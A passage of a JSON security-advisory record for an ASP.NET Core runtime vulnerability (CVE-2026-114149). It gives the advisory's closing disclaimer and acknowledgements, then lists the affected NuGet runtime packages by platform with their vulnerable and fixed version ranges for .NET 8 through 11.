issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114149](https://www.cve.org/CVERecord?id=CVE-2026-114149)\n\n### Acknowledgements\n\n- n0irx\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x33c-w48q-qrgc/GHSA-x33c-w48q-qrgc.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 